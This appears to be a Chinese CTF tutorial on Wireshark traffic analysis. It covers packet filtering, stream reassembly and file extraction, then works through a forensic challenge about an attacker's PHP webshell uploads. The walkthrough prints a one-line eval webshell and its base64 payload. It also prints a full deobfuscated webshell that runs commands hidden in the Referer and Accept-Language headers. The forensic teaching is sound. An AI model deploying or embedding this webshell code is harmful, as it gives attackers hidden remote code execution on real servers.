Wireshark流量分析

目录

1.基本介绍

2.基本使用

1)数据包筛选:

2)筛选ip:

3)数据包还原

4)数据提取

3.wireshark实例


1.基本介绍

在CTF比赛中,对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件,参赛选手通过该文件筛选和过滤其中无关的流量信息,根据关键流量信息找出flag或者相关线索。

pcap流量包的分析通常都是通过图形化的网络嗅探器------wireshark进行的,这款嗅探器经过众多开发者的不断完善,现在已经成为使用最为广泛的安全工具之一。接下来,斗哥来为大家讲解这款工具的基本使用。

2.基本使用

Wireshark的基本使用分为数据包筛选、数据包搜索、数据包还原、数据提取四个部分。

1)数据包筛选:

数据包筛选功能是wireshark的核心功能,比如需要筛选出特定的协议如HTTP,Telnet等,也可能需要筛选出ip地址,端口等。

2)筛选ip:

●源ip筛选

输入命令:ip.src == 地址

3)数据包还原

在wireshark中,存在一个交追踪流的功能,可以将HTTP或TCP流量集合在一起并还原成原始数据,具体操作方式如下:

选中想要还原的流量包,右键选中,选择追踪流 -- TCP流/UPD流/SSL流/HTTP流。

可在弹出的窗口中看到被还原的流量信息

4)数据提取

Wireshark支持提取通过http传输(上传/下载)的文件内容,方法如下:

菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。鼠标右键点击 -- 选中 显示分组字节...

在弹出的窗口中设置开始和结束的字节(原字节数开头加3,结尾减3)

最后点击save as按钮导出。

导出结果:

3.wireshark实例

题目要求:

1.黑客第一次获得的php木马的密码是什么

2.黑客第二次上传php木马是什么时间

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求

所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑

正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"

上传的木马应该是:<?php eval($_POST['zzz']);?>

又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码此时z0传入base64编码后的数据,便可以执行恶意代码解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

PHP代码是通过混淆过的,让我们根本看不懂他的代码

还原后的代码:

php 复制代码
<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
 
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患

木马要利用,就必然会与数据包进行交互,仔细看看这两行代码

php 复制代码
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

获取http请求中的referer和accept_language字段的,与数据包产生了交互,所以可以基本断定这两个字段是黑客用来传输他想执行的命令的.我们随便看一个访问footer.php的包

所以木马通过HTTP协议中的referer头传递数据

相关推荐
网安-轩逸9 分钟前
【网络安全】身份认证
网络·安全·web安全
石牌桥网管10 分钟前
OpenWrt广播DNS到客户端
网络·openwrt
想成为高手49940 分钟前
网络基础概念与应用:深入理解计算机网络
网络·计算机网络
Aiden_SHU2 小时前
Wireshark中的length栏位
服务器·网络·wireshark
叫我龙翔2 小时前
【计网】实现reactor反应堆模型 --- 多线程方案优化 ,OTOL方案
linux·运维·网络
?crying3 小时前
蓝队基础4 -- 安全运营与监控
网络·安全·web安全
茶颜悦色vv3 小时前
蓝队知识浅谈(中)
网络·web安全·网络安全
Xlbb.3 小时前
安全见闻6-9
网络·安全·web安全·网络安全
写bug的小屁孩4 小时前
websocket初始化
服务器·开发语言·网络·c++·websocket·网络协议·qt creator
域智盾系统4 小时前
挖到宝了!统一dlp数据防泄漏解决方案有哪些?千字长文带你熟知这6款!
网络·数据防泄漏·统一dlp数据防泄漏解决方案·数据安全防护措施